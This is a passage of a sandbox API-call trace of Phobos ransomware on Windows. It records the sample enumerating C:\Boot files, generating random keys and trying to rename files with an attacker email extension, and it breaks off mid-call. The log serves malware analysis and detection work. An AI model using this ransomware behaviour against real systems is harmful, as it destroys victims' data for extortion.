dwMilliseconds=0xffffffff) returned 0x0 [0147.305] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.306] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.306] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.306] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.306] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.306] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.306] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.306] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.306] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.306] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.307] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.307] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.307] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.307] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.307] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.307] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.307] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.307] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.308] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.308] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.308] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.308] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.308] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.308] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.308] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.308] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.308] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.308] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.309] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.309] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.309] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.309] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.309] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.309] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.309] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.309] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.309] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.309] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.309] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.309] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.310] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.310] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.310] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.310] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.310] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.310] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.310] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.310] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.310] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.310] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.310] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.310] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.311] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.311] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.311] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.311] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.311] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.311] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.311] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.311] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.311] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.311] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.312] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.312] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.312] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.312] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.312] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.312] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.312] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.312] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.710] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0147.710] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.710] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0147.710] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0147.713] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=0) returned 1 [0147.713] CloseHandle (hObject=0x554) returned 1 [0147.713] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0147.713] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0147.714] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=77664) returned 1 [0147.714] CloseHandle (hObject=0x554) returned 1 [0147.714] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui")) returned 0x20 [0147.714] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\bg-BG\\bootmgr.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0147.714] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.714] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0147.714] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0147.718] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=95648) returned 1 [0147.718] CloseHandle (hObject=0x554) returned 1 [0147.718] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll")) returned 0x20 [0147.718] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\bootspaces.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\bootspaces.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0147.718] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.719] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0147.719] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\memtest.exe.mui" (normalized: "c:\\boot\\cs-cz\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0147.723] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=45472) returned 1 [0147.723] CloseHandle (hObject=0x554) returned 1 [0147.723] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\memtest.exe.mui" (normalized: "c:\\boot\\cs-cz\\memtest.exe.mui")) returned 0x20 [0147.723] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\memtest.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\cs-cz\\memtest.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0147.724] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\memtest.exe.mui" (normalized: "c:\\boot\\cs-cz\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.724] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0147.724] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0147.725] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=79200) returned 1 [0147.725] CloseHandle (hObject=0x554) returned 1 [0147.726] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui")) returned 0x20 [0147.726] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\bootmgr.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0147.726] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.726] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0147.726] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0147.727] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=80224) returned 1 [0147.727] CloseHandle (hObject=0x554) returned 1 [0147.727] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui")) returned 0x20 [0147.728] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\bootmgr.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0147.728] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.728] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0147.728] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\memtest.exe.mui" (normalized: "c:\\boot\\el-gr\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0147.728] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=46496) returned 1 [0147.729] CloseHandle (hObject=0x554) returned 1 [0147.729] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\memtest.exe.mui" (normalized: "c:\\boot\\el-gr\\memtest.exe.mui")) returned 0x20 [0147.729] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\memtest.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\el-gr\\memtest.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0147.729] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\memtest.exe.mui" (normalized: "c:\\boot\\el-gr\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.731] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0147.731] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0147.733] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=74144) returned 1 [0147.733] CloseHandle (hObject=0x554) returned 1 [0147.734] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui")) returned 0x20 [0147.734] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\en-US\\bootmgr.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0147.734] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.735] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0147.735] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\memtest.exe.mui" (normalized: "c:\\boot\\es-es\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0147.738] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=45984) returned 1 [0147.738] CloseHandle (hObject=0x554) returned 1 [0147.738] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\memtest.exe.mui" (normalized: "c:\\boot\\es-es\\memtest.exe.mui")) returned 0x20 [0147.738] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\memtest.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\es-es\\memtest.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0147.738] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\memtest.exe.mui" (normalized: "c:\\boot\\es-es\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.739] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0147.739] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\es-MX\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-mx\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0147.739] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=77664) returned 1 [0147.739] CloseHandle (hObject=0x554) returned 1 [0147.740] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\es-MX\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-mx\\bootmgr.exe.mui")) returned 0x20 [0147.740] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\es-MX\\bootmgr.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\es-mx\\bootmgr.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0147.740] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\es-MX\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-mx\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.743] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0147.743] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\et-EE\\bootmgr.exe.mui" (normalized: "c:\\boot\\et-ee\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0147.744] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=75104) returned 1 [0147.744] CloseHandle (hObject=0x554) returned 1 [0147.745] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\et-EE\\bootmgr.exe.mui" (normalized: "c:\\boot\\et-ee\\bootmgr.exe.mui")) returned 0x20 [0147.745] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\et-EE\\bootmgr.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\et-ee\\bootmgr.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0147.745] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\et-EE\\bootmgr.exe.mui" (normalized: "c:\\boot\\et-ee\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.750] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0147.750] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0147.751] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=76640) returned 1 [0147.751] CloseHandle (hObject=0x558) returned 1 [0147.751] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui")) returned 0x20 [0147.751] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\bootmgr.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0147.751] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.752] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0147.752] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\memtest.exe.mui" (normalized: "c:\\boot\\fi-fi\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0147.753] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=45472) returned 1 [0147.753] CloseHandle (hObject=0x558) returned 1 [0147.753] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\memtest.exe.mui" (normalized: "c:\\boot\\fi-fi\\memtest.exe.mui")) returned 0x20 [0147.753] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\memtest.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\fi-fi\\memtest.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0147.753] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\memtest.exe.mui" (normalized: "c:\\boot\\fi-fi\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.771] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0147.773] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0147.778] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=3878410) returned 1 [0147.778] CloseHandle (hObject=0x554) returned 1 [0147.778] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf")) returned 0x20 [0147.778] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0 [0147.778] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf")) returned 0 [0147.778] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0147.779] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0147.783] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=1985867) returned 1 [0147.783] CloseHandle (hObject=0x554) returned 1 [0147.783] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf")) returned 0x20 [0147.784] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0 [0147.784] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: 